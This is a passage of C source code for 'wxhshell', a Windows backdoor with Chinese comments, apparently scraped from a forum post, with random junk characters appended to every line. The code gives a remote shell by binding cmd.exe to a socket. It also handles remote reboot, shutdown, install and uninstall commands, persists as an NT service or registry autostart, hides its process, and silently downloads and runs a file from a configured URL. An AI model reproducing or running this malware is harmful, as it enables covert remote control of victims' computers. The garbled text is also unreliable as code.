  case '?': { 5-277?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~urV`J  
    break; oCLs"L-r{  
  } @-z#vJ5Qe{  
  // 安装 +[ _)i9a  
  case 'i': { u}QB-oU  
    if(Install()) eQk ~YA]K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kRs24 =  
    else Nk-biD/J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x M1>kbo|  
    break; n'/w(o$&  
    } Ozk^B{{o  
  // 卸载 5 zlgmCGow  
  case 'r': { )Oq N\  
    if(Uninstall()) @jW_ r j:<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UarU.~Uqi  
    else @<]xbWhuw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t)o #!)|  
    break; @:@0}]%z9  
    } u7u8cVF  
  // 显示 wxhshell 所在路径 F|*{Ma  
  case 'p': { 5/Ng!bW  
    char svExeFile[MAX_PATH]; :&= TE2  
    strcpy(svExeFile,"\n\r"); %$j)?e  
      strcat(svExeFile,ExeFile); }>JFO:v&  
        send(wsh,svExeFile,strlen(svExeFile),0); K!?T7/@  
    break; \ ?[#>L4  
    } JMu|$"o&{  
  // 重启 tb7Wr1$<  
  case 'b': { M}4%LjD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [L1pDICoy  
    if(Boot(REBOOT)) cL&V2I5O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I)ub='+&;  
    else { lgZ3=h  
    closesocket(wsh); yhe$A<Rl=  
    ExitThread(0); m?-3j65z  
    } rE"`q1b#  
    break; (Q !4\Gy  
    } A)En25,X  
  // 关机 W|@EKE.k  
  case 'd': { o #{D;'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [~ bfM6Jw  
    if(Boot(SHUTDOWN)) =+q9R`!L]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m~9Qx`fi`  
    else { R2Fh WiL  
    closesocket(wsh); N<+ ><>9  
    ExitThread(0); .-+_>br~  
    } p5^,3&  
    break; QthHQA  
    } ks7g*; 3{@  
  // 获取shell ~oI7TP  
  case 's': { @L^2VVWk^  
    CmdShell(wsh); s)"C~w^  
    closesocket(wsh); \4I1wdd|^  
    ExitThread(0); zF%CFqQ  
    break; &R/)#NAp  
  } JxI}#iA  
  // 退出 ,FX;-nP%  
  case 'x': { } ab@Nd$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p~I+ZYWF'  
    CloseIt(wsh); F"j0;}+N  
    break; z %` \p  
    } A!s\;C  
  // 离开 +Y,>ftN  
  case 'q': { &TE=$a:d&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ivC1=+  
    closesocket(wsh); zJ7vAL  
    WSACleanup(); .&.j?kb  
    exit(1); n'0^l?V  
    break; z71.5n!C  
        } Dna0M0   
  } g5R2a7  
  } ?8. $A2(Xw  
>- ]tOH,0  
  // 提示信息 ]uX'[Z}t  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O^|dc=  
} ~YOwg\w^  
  } ]K0<DO9  
=2pGbD;*  
  return; Qn(e[ C6\  
} B:)9hF?o@  
)6iY9[@tN  
// shell模块句柄 {S(?E_id5b  
int CmdShell(SOCKET sock) $'dJ+@  
{ x;S v&  
STARTUPINFO si; AU}e^1h  
ZeroMemory(&si,sizeof(si)); *qYcb} ]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4.7OX&L'G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f:\jPkf'  
PROCESS_INFORMATION ProcessInfo; .2/(G{}U  
char cmdline[]="cmd"; XP *pYN  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r^-3( 77n  
  return 0; 6UR.,*f=  
} m `~/]QQ  
|_8 ::kir:  
// 自身启动模式 S9}P 5;u  
int StartFromService(void)  d_gm'  
{ :XcU@m  
typedef struct B;Ab`UX#t  
{ AJ`b- $Q  
  DWORD ExitStatus; T!eeMsI  
  DWORD PebBaseAddress; R<lj$_72Q  
  DWORD AffinityMask; ~ z*  
  DWORD BasePriority; bVSa}&*kM  
  ULONG UniqueProcessId; b+yoD  
  ULONG InheritedFromUniqueProcessId; KG)7hja<6g  
}   PROCESS_BASIC_INFORMATION; H>_ FCV8  
]H0BUg  
PROCNTQSIP NtQueryInformationProcess; YFOSv]w  
{EGiGwpf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K/79Tb-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o)Kx:l +f  
)(TaVHJR  
  HANDLE             hProcess; qY`)W[  
  PROCESS_BASIC_INFORMATION pbi; aAiSP+#  
g* F?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); su/l'p'  
  if(NULL == hInst ) return 0; ~V[pu  
;X-~C.7k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); csz/[*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EWNh:<F?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S Y>i@s+ML  
&H$ 3`"p5u  
  if (!NtQueryInformationProcess) return 0; uS<7X7|!0  
_Sy-&}c+ +  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4YM!SE-I  
  if(!hProcess) return 0; ' Dv `Gj  
5:/ zbt\C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z(d@!Cd  
<8yzBp4gZ  
  CloseHandle(hProcess); =Ig'Aw$x  
?r0#{x~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -v .\CtpHv  
if(hProcess==NULL) return 0; N ncur]  
Q( .d!CQ>  
HMODULE hMod;  }tv%  
char procName[255]; 2ikY.Xi6  
unsigned long cbNeeded; dqO!p6  
>B/ jTn5=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A|1 TE$  
GY,l&.&  
  CloseHandle(hProcess); L ?g|:  
-jnx0{/  
if(strstr(procName,"services")) return 1; // 以服务启动 Q*}#?g  
md:$O C3  
  return 0; // 注册表启动 '#gd19#  
} pV{MW#e  
Yh)yp?  
// 主模块 B?9K!c  
int StartWxhshell(LPSTR lpCmdLine) 8Kt_irD  
{ x=Z\c,@O  
  SOCKET wsl; / 1 lIV_Z  
BOOL val=TRUE; *t J+!1  
  int port=0; _Qg^>}]A1  
  struct sockaddr_in door; jjbBv~vs  
vKN"o* q  
  if(wscfg.ws_autoins) Install(); DqyJ]}|  
?;@xAj  
port=atoi(lpCmdLine); ga&l.:lo  
9 X}F{!p~1  
if(port<=0) port=wscfg.ws_port; .WM0x{t/  
x'kwk  
  WSADATA data; \U;4 \  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {vYmK#}  
ktLXL;~X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   834(kw+#9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `l,=iy$  
  door.sin_family = AF_INET; 3"=% [  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M,@\*qlEJ  
  door.sin_port = htons(port); RaT(^b(  
;@p2s'(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {|?OKCG{  
closesocket(wsl); \hN\px  
return 1; CqX2R:#  
} p6m]( Jg  
9t@^P^}=\m  
  if(listen(wsl,2) == INVALID_SOCKET) { &09z`* ,  
closesocket(wsl); 'W>Bz,M6yo  
return 1; dA >=#/"  
} hR,VE'A  
  Wxhshell(wsl); >m='#x0>Y  
  WSACleanup(); fkE4 [X7f  
^$qr6+  
return 0; YW55iyM  
wY|&qX,  
} c:etJ  
"j BrPCB 8  
// 以NT服务方式启动 V5sH:A7GJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?B ; +,  
{ K3*8JF7_F  
DWORD   status = 0; JU+Uzp   
  DWORD   specificError = 0xfffffff; B:S/ ?v  
({ 'I;]AQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :0 G "EM4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; WLGk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O8:$sei$  
  serviceStatus.dwWin32ExitCode     = 0; SA_5..  
  serviceStatus.dwServiceSpecificExitCode = 0; 7U68|\fI!  
  serviceStatus.dwCheckPoint       = 0; ufF$7@(+  
  serviceStatus.dwWaitHint       = 0; !G E-5\*  
:*|%g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {n9]ej^  
  if (hServiceStatusHandle==0) return; Xv ;} !z  
}T=0]u4,  
status = GetLastError(); \49LgN@\  
  if (status!=NO_ERROR) ?K, xxH  
{ =^ur@E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,{wA%Oy,  
    serviceStatus.dwCheckPoint       = 0; 2{ ^k*Cfd  
    serviceStatus.dwWaitHint       = 0; tlhYk=yq  
    serviceStatus.dwWin32ExitCode     = status;  d(PS  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^Wb|Pl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m(Ghe2T:  
    return; Cv7FVl-I  
  } uNnx i  
7"}<J7"})  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <P&~k\BuF{  
  serviceStatus.dwCheckPoint       = 0; FPj j1U`C  
  serviceStatus.dwWaitHint       = 0; I4]|r k9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Vk%[N>  
} y9W6e "  
3^p<Wx  
// 处理NT服务事件,比如:启动、停止 /)I:C z/f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a1V+doC  
{ ap|7./yg  
switch(fdwControl) p H&Tb4  
{  N7%iz+  
case SERVICE_CONTROL_STOP: 3I0=^ >A  
  serviceStatus.dwWin32ExitCode = 0; E-Z6qZ^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,_HSvs7-  
  serviceStatus.dwCheckPoint   = 0; TI '(  
  serviceStatus.dwWaitHint     = 0; [k~V77w 14  
  { &)F8i# M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j2GO ZKy  
  } T\;7'  
  return; m1,?rqeb  
case SERVICE_CONTROL_PAUSE: s$g"6;_\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8yr_A[S8.  
  break; "#7~}Z B  
case SERVICE_CONTROL_CONTINUE: /8V#6d_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E]z Td$v6  
  break; ^`0^|u=  
case SERVICE_CONTROL_INTERROGATE: &?~OV:r9  
  break; S3cjw9V  
}; $dr=M (&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _T[=7cn  
} SplEY!.k  
7;cb^fi/  
// 标准应用程序主函数 V6)e Jy  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~ Iin|  
{ 8Ar5^.k  
rn1^6qy)  
// 获取操作系统版本 B>kx$_~  
OsIsNt=GetOsVer(); ?m&?BsW$)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;CbQ}k  
h-0sDt pR  
  // 从命令行安装 <]f ru1  
  if(strpbrk(lpCmdLine,"iI")) Install(); (1.E9+MquU  
;6op|O  
  // 下载执行文件 t*<@>]k  
if(wscfg.ws_downexe) { 5LVhq[}mP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _g+^jR4  
  WinExec(wscfg.ws_filenam,SW_HIDE); i:ar{ q  
} @ 2r9JqR[=  
|eD$eZ=m  
if(!OsIsNt) { D&5>Op4U  
// 如果时win9x,隐藏进程并且设置为注册表启动 H{*~d+:ol  
HideProc(); IooAXwOF  
StartWxhshell(lpCmdLine); YE<_a;yh1  
} " 9=F/o9  
else #R_IF&7  
  if(StartFromService()) I!IWmU6FN  
  // 以服务方式启动 }UwDHq=  
  StartServiceCtrlDispatcher(DispatchTable); y%.^| G  
else u&)+~X  
  // 普通方式启动 =rBNEd  
  StartWxhshell(lpCmdLine); YGy.39@31  
>kK;IF9h  
return 0; 1EvAV,v"  
}
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只看该作者 1 发表于: 2006-10-10
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